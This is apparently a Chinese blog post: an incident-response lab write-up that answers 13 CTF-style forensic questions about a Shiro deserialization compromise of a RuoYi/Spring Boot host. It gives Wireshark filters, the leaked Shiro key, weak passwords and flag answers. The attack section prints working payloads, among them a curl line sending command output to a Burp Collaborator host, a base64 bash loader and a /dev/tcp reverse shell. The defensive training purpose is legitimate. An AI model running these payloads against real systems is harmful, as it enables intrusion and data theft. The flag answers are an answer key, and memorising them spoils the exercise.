学习干货|实战某次行业攻防应急响应

0x01 前言

**本篇文章共6000字,完全阅读全篇约15分钟,州弟学安全,只学有用的东西**

这次文章其实早就该发来着,奈何一直在忙,档期也不够,这是5月份的一件事,当时正有条不紊的准备接下来的工作,半夜甲方给领导发信息,系统似乎被穿了,刚开始第一天就穿了?我也很懵,于是早早睡去,第二天早早的就前往甲方所在地
甲方: 我们今天被通知攻陷了,通知有未授权和弱口令漏洞`      `麻烦明天让技术人员过来一起排查一下(此处不放图了)
大概就是这么回事,到现场以后,那里的两个大哥说排查了一夜,仍未找到问题,因为攻击队只说明漏洞类型,不告诉具体细节,需要单位自行找到问题,写报告和溯源报告来补分,于是乎我就拿出了宝刀未老的电脑,开始进行应急,从端口开始查,应急肯定要具备一些挖洞渗透的小基础,最终经过一上午时间通过漏洞挖掘和日志对比,找到了漏洞问题,并且和IP匹配成功,这里可以看我之前发的以下文章  

**攻防实战|记录一次攻防实战中流程与溯源
**

确实是未授权和弱口令,但是没进系统,虚惊一场,后来在那里待到结束,边防范边挖洞,共挖掘出近40个高中危漏洞

**\* 本次环境分为攻防两部分,贴合实战与赛题,已由多位师傅进行测试并确认**

**本次我们主要在前期阶段复现攻击行为,后期根据我以往微不足道的经验和想法进行补充,给出应急响应镜像和攻与防步骤两个模块,同时镜像也会推送至玄机应急响应平台**
玄机注册码/邀请码获取: 关注本公众号发送 '邀请码' 最后链接自取

*** 文章内容仅供学习参考、环境如需商用请提前告知,请勿利用工具非法未授权操作
**

*** 感谢转发、点赞、在看、收藏,您的每一次支持都是我更新的动力
**

0x02 攻与防

镜像下载地址:``https://pan.quark.cn/s/00642862b330
**被攻击站点使用的是spring boot框架,我们此处使用若依复现,被利用到的点会在其中**

防:应急阶段

系统: Ubuntu 22.0.4``CPU: 4颗``内存: 4G``空间: 保证6G左右``应急主机: 192.168.0.211``网关: 192.168.0.1/24``其它傀儡机: 段内``账号/密码: root/security123``流量包: /home/security/security.pcap``注: 因未使用中间件开放WEB,所以日志全程以流量包分析``题目:`   `1. 根据流量包分析首个进行扫描攻击的IP是`  `2. 根据流量包分析第二个扫描攻击的IP和漏扫工具,以flag{x.x.x.x&工具名}`  `3. 提交频繁爆破密钥的IP及爆破次数,以flag{ip&次数}提交`  `4. 提交攻击者利用成功的密钥,以flag{xxxxx}提交`  `5. 提交攻击者获取到的所有服务的弱口令,多个以&提交,如flag{xxx&xxx&xxx}`  `6. 根据应急响应方法,提交利用漏洞成功的端口,多个以&连接,如:flag{port&port&port}`  `7. 根据流量包分析,提交攻击者利用密钥探测成功的dnslog地址`  `8. 根据流量包分析,提交攻击者反弹shell的地址和端口,以flag{x.x.x.x&port}提交`  `9. 攻击者在主机放置了fscan(已改名),经扫描拿下一台永恒之蓝漏洞主机,以此为线索进行提交fscan绝对路径`  `10. 另类方法:提交此fscan工具的MD5值,以flag{xxxxxx}提交`  `11. 攻击者为了权限维持,在主机放置了仿真远控工具,需提交此远控工具的下载地址,以flag{http:xxx.xx/xxx}`  `12. 攻击者就知道你会这样找到,所以又创建了一条相关的脚本,使用其他方法进行下载,提交脚本的绝对路径`  `13. 攻击者创建了一个隐藏用户,提交此用户的用户名,以flag{xxxx}提交
题目答案
根据流量包分析首个进行扫描攻击的IP是192.168.0.223
打开抓取的流量包,这什么啊,没有一点规律,这个时候不要着急

已知被攻击主机IP为**192.168.0.211**,所以我们可以使用过滤器进行过滤 **ip.dst == 192.168.0.211**

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

排除掉 **192.168.0.200**的ping包,这是物理机发送的正常探测包,往下找到源IP为**192.168.0.223**看到,疑似存在端口探测行为

使用过滤器筛选 **ip.dst == 192.168.0.211&&ip.src==192.168.0.223**看到共请求七万多次,再往下还有http协议

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

为了验证猜想,可以使用过滤器筛选,看到端口探测的包的数量
ip.dst == 192.168.0.211&&ip.src==192.168.0.223&&tcp.flags.syn == 1 

继续回到一开始**192.168.0.223**扫描机器流量阶段,可以看到前有端口探测,后有目录文件扫描,被扫描的端口有12333和9988

回到Linux主机,我们可以执行 netstat查看到对外开放的两个WEB端口正是这两个

题目答案
根据流量包分析第二个扫描攻击的IP和漏扫工具,以flag{x.x.x.x&工具名}192.168.0.200&acunetix
还是根据时间排序,已知第一个扫描的IP行为是端口探测和文件扫描,在后续进行筛选是可以将此IP过滤掉
ip.dst == 192.168.0.211&&ip.src!=192.168.0.223

翻过去上面ping包后,看到**192.168.0.200**的IP使用**56259**端口在批量进行扫描,还有HTTP协议,可以进一步对此IP根据
ip.dst == 192.168.0.211&&ip.src==192.168.0.200&&http

进行过滤后看到以上IP对WEB端口进行了6000次有规律的WEB扫描,由于12333端口是若依框架,不存在的文件会302跳转

继续往下查找,寻找漏洞扫描器特征,主要从UA、字典特征,行为特征、DNSlog地址、url中的某些地址查看

在以上图片中,我们看到在160872次流量中,有bxss.me域名,这是漏扫器 acunetix或称 AWVS的特征

经过此次筛选我们已知,**192.168.0.200**的IP,行为特征是,已知开放的WEB端口,使用AWVS漏扫器进行漏洞扫描,次数少,特征明显
题目答案
提交频繁爆破密钥的IP及爆破次数,以flag{ip&次数}提交192.168.0.226&1068
继续筛选条件,将上方已知攻击行为的IP排除在外,筛选后看到是192.168.0.226在请求,先查看有无异常
ip.dst == 192.168.0.211&&ip.src!=192.168.0.223&&ip.src!=192.168.0.200

上图看到此IP一直请求被攻击机12333端口,我们单列出来看结果
ip.dst == 192.168.0.211&&ip.src==192.168.0.226

上图看到,前面是正常的初次连接,进行的TCP会话,但是往后看,297346流量后,全是请求login接口,很有规律,打开流量包看到疑似在爆破shiro密钥

上图看到,追踪http流以后,第一个请求先确认了shiro框架的存在,接着就是爆破shiro密钥的行为(若依框架此处开启了shiro安全框架)
ip.dst == 192.168.0.211&&ip.src==192.168.0.226&&http.request.uri=="/login"
使用以上过滤条件筛选到,**192.168.0.226**这个IP,爆破shiro密钥1068次,去除(初次请求握手和探测shiro)三次

目前已知192.168.0.226这个IP行为目的明显,已知开放的WEB端口,已知框架类型和可能存在的漏洞并尝试利用
题目答案
提交攻击者利用成功的密钥,以flag{xxxxx}提交c+3hFGPjbgzGdrC+MHgoRQ==
对以上已知的攻击行为IP进行过滤,看到IP为192.168.0.242刚开始就爆破密钥
ip.dst == 192.168.0.211&&ip.src!=192.168.0.223&&ip.src!=192.168.0.200&&ip.src!=192.168.0.226

过滤器中加入此IP进行跟进分析行为
ip.dst == 192.168.0.211&&ip.src==192.168.0.242
跟进此IP后,前面经过爆破,没有成功,而后访问了9988端口,访问/actuator/heapdump文件进行下载(heapdump:JVM 内存信息,分析出明文密码)

此处攻击者就是分析heapdump文件中的密钥进行的后期攻击行为,我们可以反编译/home/security/ruoyi/ruoyi-admin.jar文件,在ruoyi-admin/src/resource/application.yml文件查看到密钥

假如说是动态密钥,我们可以利用同样的方法,下载heapdump,使用相关工具提取密钥,此处我用的**JDumpSpider**
https://github.com/whwlsfb/JDumpSpider

经过分析,以上IP进行后攻击可能性极大,继续往下跟进分析即可
题目答案
提交攻击者获取到的所有服务的弱口令,多个以&提交ruoyi123&admin123&123456
这个在流量中看不到,只需看heapdump明文密码即可,从上往下分析,第一个就是数据库密码是弱口令,为ruoyi123

接着往下看到若以的两个账号的默认口令同样为admin123

在往下找到若依框架开启的druid监控服务默认口令为123456

题目答案
根据应急响应方法,提交利用漏洞成功的端口,多个以&连接9988&12333
已知对外开放的端口为22、9988、12333端口,22端口为远程连接,**9988**端口在前期被**192.168.0.223**进行端口扫描和文件扫描,被**192.168.0.200**使用AWVS进行扫描,被**192.168.0.242**访问并下载heapdump进行后续利用

而12333端口是若依搭建的框架,被前面IP进行扫描且进行过爆破,最后一步在**192.168.0.242**这个IP获取到shiro密钥

所以综上所述,9988端口是被直接利用获取敏感信息,从而导致12333后续被攻击成功
题目答案
根据流量包分析,提交攻击者利用密钥探测成功的dnslog地址1dvrle.dnslog.cn
在攻击者成功利用密钥探测成功后,会先探测此主机是否出网,往往会使用dnslog进行测试,我们只需筛选DNS协议及主机
dns&&ip.src==192.168.0.211

流量不多,仔细查看翻阅,排除掉正常的域名地址,找到dnslog的地址
题目答案
根据流量包分析,提交攻击者反弹shell的地址和端口192.168.0.251:8888
我们此处继续筛选,因为爆破和利用shiro都是在若依进行的,若依走的是HTTP协议,直接筛选即可
ip.dst==192.168.0.211&&ip.src==192.168.0.242&&http
shiro的利用过程一般分为以下几个步骤,较为详细

此处我们可从下往上逆推流量进行解密,因为前面爆破密钥,爆破构造链等多次,从上往下找不好定位

我这是在过滤后结果最后流量中追踪的,复制出cookie中rememberMe中的值进行解密,脚本我这里用的希谭实验室ABC123大佬写的工具

蓝队第3篇:Shiro反序列化数据包解密及蓝队分析工具,提供下载

当然也可以自行将以上流程逆推解密,拿到密钥,复制以上cookie中的值,看到解密文本  

我们可以看到,进行命令执行的Java函数,以及执行的参数进行的base64编码,和最后使用的恶意工具

通过解码以上base64编码后,看到使用curl进行连接burpsuite的dnslog地址,然后去执行系统命令,此处burp地址方便本地查看结果,通过以上信息看到反弹的shell地址
题目答案
攻击者在主机放置了fscan(已改名),经扫描拿下一台永恒之蓝漏洞主机,以此为线索进行提交fscan绝对路径/opt/.f/.s/.c/.a/.n
因为是反弹shell,所以在流量包处直接按照以下条件过滤即可
ip.dst==192.168.0.211&&ip.src==192.168.0.251&&tcp.port==8888

在主机层面,直接搜索即可,因为给出提示,扫描出了永恒之蓝主机,且fscan默认在扫描后在当前目录生成一个名为result.txt的文件
grep -rl 'MS17-010' / 2>/dev/null # 根据关键字筛选``grep -rl '192.168.0' / 2>/dev/null # 根据网段筛选

上图中看到,流量包中也存在明文,有些师傅可能会纳闷,为什么流量包内会携带呢,我们再去看流量包

在TCP/IP协议中,会话需要经过三次握手和四次挥手,流量包存在是因为SYN,ACK包中存在明文流量,使用以下条件进行过滤
ip.dst==192.168.0.211&&ip.src==192.168.0.251&&tcp.port==8888&&tcp.flags.syn == 1 && tcp.flags.ack == 1
根据标志位进行过滤相应的流量包,然后查看明文操作

至此可以明白流量传输的过程和寻找fscan存放的位置
题目答案
另类方法:提交此fscan工具的MD5值b8053bcd04ce9d7d19c7f36830a9f26b
有些师傅会问,万一他把result.txt文件删了呢,你怎么模糊搜索,很好,非常好的问题,所以这个时候,用到了MD5值(此处我是用的是md5sum工具)
find / -type f -exec md5sum {} \;
这个命令是递归从根目录下使用md5sum计算所有文件的MD5列出,但是不好的是数据量太大,容易卡死

继续对命令进行优化,只对可执行文件列出MD5值,导入到一个文件中,然后对比fscan的MD5
find / -type f -executable -exec md5sum {} \;>1.txt

此处我对所有可执行文件的MD5进行输出到1.txt文件,然后接着对原fscan的MD5进行对比

有些师傅会问,我这要MD5有啥用啊,我们首先要知道,每个文件都是一个独立的个体,MD5是唯一的,改名不改内容,MD5是不变的,在首次查杀到这个病毒木马文件后,会记录此文件的MD5值并入库,后面直接对比此文件的MD5,就无需再次查杀,浪费资源,MD5相当于文件的独立身份,如直接使用刚刚的MD5去微步查看到是fscan工具

题目答案
攻击者为了权限维持,在主机放置了仿真远控工具,需提交此远控工具的下载地址http://zhoudinb.com:12345/qxwc.sh
当然了,我们可以继续查看流量包,明文看到攻击者的操作,排除掉流量包,我们使用主机如何去查呢

计划任务可以看到,每10分钟执行.qxwc.sh,至于为什么直接这样,这是攻击者做计划任务的一个常规手段,属于一个细节上的地方,这一块主要是考虑到计划任务的配置排查

题目答案
攻击者就知道你会这样找到,所以又创建了一条相关的脚本,使用其他方法进行下载,提交脚本的绝对路径/home/security/upload/.CCC/.happy.sh
排除计划任务,在Linux中还存在另一种方法,就是开机自启,我们可以通过systemctl查看,他的执行文件路径在/etc/systemd/system/,创建任务是通过此目录下进行定位文件名创建任务名
ls -l --time-style=long-iso /etc/systemd/system/ | sort -k 6,7
使用以上命令可以按照最后改变时间进行排序,从下往上看可疑文件

看到有happy.service疑似非系统自带任务,查看后确认为恶意文件,接着查看相应文件,并确认绝对路径

题目答案
攻击者创建了一个隐藏用户,提交此用户的用户名xj1zhoudi@kali
cat /etc/passwd |grep bash
通过以上命令查看到只有两个用户拥有登录权限

确认shadow文件没有问题,查看可登录用户的/.ssh目录,并查看公钥文件,最终在/root/.ssh/.id\_rsa.pub看到可疑用户名

所做的操作,在反弹shell端口中都是明文操作,通过流量包过滤,可看到明文流量(因为传输过程没有加密)


攻:渗透阶段

  1. 信息收集阶段

    攻击者首先使用移动IP192.168.0.223对目标主机使用nmap进行了全端口扫描,并获取到开放的三个端口

而后攻击者使用dirsearch和其它目录攻击扫描对应的web端口目录文件

经过简单的进行了前期收集扫描,没有扫到有用的文件,但是已知开放了的WEB端口,后因为攻击者被IPS和WAF识别出,进行了封禁

而后攻击者更换IP使用漏扫攻击,专项对相应WEB端口进行漏洞扫描攻击,IP地址为**192.168.0.200**

经过扫描,攻击者得到**9988**端口存在spring boot actuator模块

经过此次漏洞扫描,攻击者获取到了相应的未授权访问漏洞,后续又被IPS和WAF进行识别并加黑IP

攻击者开始针对于业务站点**12333**端口,已知存在shiro框架,更换IP**192.168.0.226**进行爆破shiro密钥

2. 漏洞利用阶段

但是奈何此IP动作太大,后续被流量监测封禁,攻击者继续更换IP192.168.0.242且下载9988端口下的heapdump文件获取敏感信息shiro-key且得到几个弱口令

而后,攻击者使用**CommonsBeanutils1**链进行攻击,进行DNSlog出网探测

而后攻击者构造payload进行命令注入、反弹shell攻击
curl --connect-timeout 3 http://301m1dvwq05pbbjg28i9s152itojc8.burpcollaborator.net/2/ -d data=$((whoami)|base64 -w 0)
对以上payload进行base64编码,然后在构造一个解码的payload进行shiro反序列化攻击,从而执行命令
bash -c {echo,Y3VybCAtLWNvbm5lY3QtdGltZW91dCAzIGh0dHA6Ly8zMDFtMWR2d3EwNXBiYmpnMjhpOXMxNTJpdG9qYzguYnVycGNvbGxhYm9yYXRvci5uZXQvMi8gLWQgZGF0YT0kKCh3aG9hbWkpfGJhc2U2NCAtdyAwKQ==}|{base64,-d}|{bash,-i}

经过执行后,攻击流量会通过反序列化成功后进行命令执行,执行curl(burp suite)生成的dnslog地址,发送请求,连带后面的命令执行payload回传给dnslog地址,在burp中可以看到,首先走了DNS流量,然后走了HTTP流量,在POST包的data中解码看到当前使用的用户(运行若依的用户)

将以上payload进行改动,whoami命令改为反弹shell命令继续执行,192.168.0.251做为跳板机监听相应端口
curl --connect-timeout 3 http://onf7oyihdlsayw61pt5ufmsn5eb5zu.burpcollaborator.net/2/ -d data=$((bash -i >& /dev/tcp/192.168.0.251/8888 0>&1)|base64 -w 0)

经过再次编码后可以看到上线目标主机上线跳板机8888端口成功

3. 权限维持阶段

攻击者上线目标主机后需要进行权限维持或横向漏洞扫描,在/opt/.f/.s/.c/.a/n目录下放置了fscan工具并改名,进行漏洞扫描,获取到了一台永恒之蓝机器

然后在/opt/.Abc/.qxwc.sh创建权限维持脚本(此处模拟),并创建定时计划任务

接着创建开启自启动计划任务,并继续下载权限维持脚本,以防止被删除原脚本

然后在本地生成一个用户公私钥,上传公钥到目标主机,后续继续连接,称为用户权限维持(模拟-此处不在复现,直接看流量包即可)

0x03 总结

IP排查攻击思路
192.168.0.223端口扫描+文件目录扫描
192.168.0.200针对WEB端口漏洞扫描
192.168.0.226爆破shiro密钥
192.168.0.242目的明确、获取敏感信息+利用漏洞成功
192.168.0.251跳板机、反弹shell地址

本次思路按照之前行业攻防应急响应前期应急响应经验+本人人为经验进行综合整理归纳,如有不妥之处请指出,本篇文章主要以符合现实角度去理解在单机应急响应下的思路排查,不作为所有环境思路,欢迎各位师傅指导

为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

  • 21
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值